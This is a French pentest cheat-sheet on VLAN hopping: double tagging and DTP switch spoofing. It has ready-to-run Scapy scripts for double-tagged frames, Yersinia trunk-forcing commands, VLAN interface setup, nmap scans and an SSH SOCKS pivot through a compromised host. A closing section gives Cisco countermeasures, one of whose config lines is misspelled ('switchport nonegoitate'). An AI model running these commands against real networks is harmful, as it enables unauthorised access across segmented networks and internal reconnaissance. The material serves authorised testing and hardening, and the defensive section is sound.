---
title: "VLAN Hopping — Double Tagging & Switch Spoofing"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [vlan, vlan-hopping, double-tagging, dtp, switch-spoofing, 802.1q, network, pentest]
difficulty: advanced
status: stable
updated: "2026-05-14"
---
## Principe du VLAN Hopping

```
Objectif : accéder à un VLAN cible depuis un VLAN non autorisé,
en contournant la segmentation sans routage.

Deux techniques :
  [1] Double Tagging   → exploite les switchs qui n'enlèvent qu'un tag 802.1Q
  [2] Switch Spoofing  → se faire passer pour un switch trunk (DTP)
```

---

## Technique 1 — Double Tagging (802.1Q)

```
Condition :
  - Le port de l'attaquant est un access port sur le VLAN natif (ex: VLAN 1)
  - Le switch upstream ne retire que le premier tag 802.1Q

Payload :
  Trame Ethernet avec 2 tags 802.1Q empilés :
  [Outer Tag: VLAN 1 (natif)] [Inner Tag: VLAN {{VICTIM_VLAN}}] [Payload]

Flux :
  Attaquant ──► Switch 1 (retire outer tag VLAN 1) ──► Switch 2 (voit inner tag VLAN {{VICTIM_VLAN}}) ──► Victime

Limitation : unidirectionnel — les réponses ne reviennent pas
→ Utile pour : scan UDP, SNMP, envoi de paquets broadcast
```

```bash
# Scapy — envoyer une trame double-tagged
python3 << 'EOF'
from scapy.all import *

# Attaquant sur VLAN 1 (natif), cible sur VLAN {{VICTIM_VLAN}}
# Outer tag = VLAN natif du switch (1), inner tag = VLAN cible
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / \
      Dot1Q(vlan=1) / \
      Dot1Q(vlan={{VICTIM_VLAN}}) / \
      IP(dst="{{VICTIM_IP}}") / \
      ICMP()

sendp(pkt, iface="{{INTERFACE}}", count=3, verbose=True)
EOF
```

```bash
# Double-tagged ARP request vers le VLAN cible
python3 << 'EOF'
from scapy.all import *

pkt = Ether(dst="ff:ff:ff:ff:ff:ff", src=get_if_hwaddr("{{INTERFACE}}")) / \
      Dot1Q(vlan=1) / \
      Dot1Q(vlan={{VICTIM_VLAN}}) / \
      ARP(op=1, pdst="{{VICTIM_SUBNET}}")

sendp(pkt, iface="{{INTERFACE}}", verbose=True)
EOF
```

---

## Technique 2 — Switch Spoofing (DTP)

```
Condition :
  - Le port de l'attaquant a DTP activé (mode dynamic auto ou dynamic desirable)
  - Le switch accepte les négociations DTP

Flux :
  Attaquant envoie des trames DTP → negocie un trunk → accès à TOUS les VLANs
```

```bash
# Yersinia — outil d'attaque sur les protocoles de couche 2
# Installation
apt install yersinia -y

# Mode interactif
yersinia -I

# Ou directement : attaque DTP pour établir un trunk
yersinia dtp -attack 1 -interface {{INTERFACE}}
# attack 1 = Enabling trunk

# Vérifier que le trunk est établi
ip link show {{INTERFACE}}
```

```bash
# Alternative : créer manuellement des sous-interfaces VLAN (si trunk établi)
modprobe 8021q

# Ajouter les VLANs un par un
vconfig add {{INTERFACE}} {{TARGET_VLAN}}
ip link set {{INTERFACE}}.{{TARGET_VLAN}} up
dhclient {{INTERFACE}}.{{TARGET_VLAN}}
ip addr show {{INTERFACE}}.{{TARGET_VLAN}}

# Ou via iproute2 (moderne)
ip link add link {{INTERFACE}} name {{INTERFACE}}.{{TARGET_VLAN}} type vlan id {{TARGET_VLAN}}
ip link set {{INTERFACE}}.{{TARGET_VLAN}} up
dhclient {{INTERFACE}}.{{TARGET_VLAN}}
```

---

## Reconnaissance VLAN

```bash
# Identifier les VLANs depuis les trames CDP (Cisco Discovery Protocol)
yersinia cdp -attack 0 -interface {{INTERFACE}}
# Capture les annonces CDP → révèle les VLANs voisins

# Wireshark / tshark — capturer les trames CDP, DTP, STP
tshark -i {{INTERFACE}} -f "ether[12:2] == 0x8100" -V   # trames 802.1Q
tshark -i {{INTERFACE}} -Y "cdp or dtp or stp"

# Détecter le VLAN natif par analyse du trafic
# Les trames sans tag 802.1Q = VLAN natif du trunk
tshark -i {{INTERFACE}} -Y "not vlan" -c 100

# Nmap sur un VLAN une fois accessible
nmap -sn {{VLAN_SUBNET}} --send-eth
```

---

## Pivoting inter-VLAN via VLAN hopping

```bash
# Objectif : scanner un VLAN inaccessible via la route normale

# 1. Établir le trunk (DTP spoofing)
yersinia dtp -attack 1 -interface {{INTERFACE}}

# 2. Créer l'interface taguée
ip link add link {{INTERFACE}} name vlan{{TARGET_VLAN}} type vlan id {{TARGET_VLAN}}
ip link set vlan{{TARGET_VLAN}} up
dhclient vlan{{TARGET_VLAN}}

# 3. Scanner le réseau cible depuis la nouvelle interface
nmap -sV -p 22,80,443,445,3389 {{TARGET_VLAN_SUBNET}} -e vlan{{TARGET_VLAN}}

# 4. Proxy SOCKS via SSH depuis un hôte compromis sur le VLAN cible
ssh -D 1080 {{USER}}@{{VLAN_PIVOT_HOST}} -N &
proxychains nmap -sT -p 80,443 {{INTERNAL_TARGET}}
```

---

## Défense — Contre-mesures VLAN Hopping

### Désactiver DTP (switch Cisco)

```
! Sur tous les ports access — désactiver DTP
interface range GigabitEthernet0/1 - 24
  switchport mode access
  switchport nonegotiate       ! Désactive DTP — pas de négociation trunk
  switchport access vlan {{ACCESS_VLAN}}
  switchport nonegoitate

! Sur les ports trunk légitimes uniquement
interface GigabitEthernet0/48
  switchport mode trunk
  switchport nonegotiate       ! Trunk statique — pas de DTP
  switchport trunk allowed vlan {{ALLOWED_VLANS}}
```

### Changer le VLAN natif

```
! Ne jamais utiliser VLAN 1 comme natif — changer pour un VLAN dédié inutilisé
interface GigabitEthernet0/48
  switchport trunk native vlan {{UNUSED_VLAN_ID}}   ! ex: VLAN 999

! Taguer aussi les trames du VLAN natif (contre le double tagging)
vlan dot1q tag native

! Ou globalement sur Cisco IOS :
! vlan dot1q tag native  (global config)
```

### VLAN Access Map (filtrage inter-VLAN)

```
! Créer un VLAN access map pour bloquer le trafic inter-VLAN non autorisé
vlan access-map BLOCK_CROSS 10
  action drop
  match ip address ACL_BLOCK_CROSS_VLAN

vlan filter BLOCK_CROSS vlan-list {{RESTRICTED_VLANS}}
```

```bash
# Vérification : depuis la machine attaquante, DTP ne doit plus fonctionner
yersinia dtp -attack 1 -interface {{INTERFACE}}
# → Aucun trunk établi si nonegotiate est actif

# Vérifier la config DTP sur un switch Cisco
show interfaces {{INTERFACE}} trunk
show dtp interface {{INTERFACE}}
# "Trunking Mode : OFF" ou "nonegotiate" = correct
```

<Warning>
VLAN 1 est le VLAN natif par défaut sur Cisco. Tous les switchs d'un réseau utilisant VLAN 1 comme natif sont potentiellement vulnérables au double tagging depuis n'importe quel port access dans ce VLAN — même un port de salle de réunion ou une prise murale non utilisée. Changer le VLAN natif pour un VLAN vide (ex: 999) est une mesure de 2 minutes qui élimine ce vecteur.
</Warning>

<Tip>
`switchport nonegotiate` est la mesure la plus impactante contre le DTP spoofing — elle doit être appliquée sur TOUS les ports access, pas seulement les ports "sensibles". En mode trunk statique, même les ports trunk légitimes devraient l'avoir pour éviter la renégociation forcée par un attaquant.
</Tip>
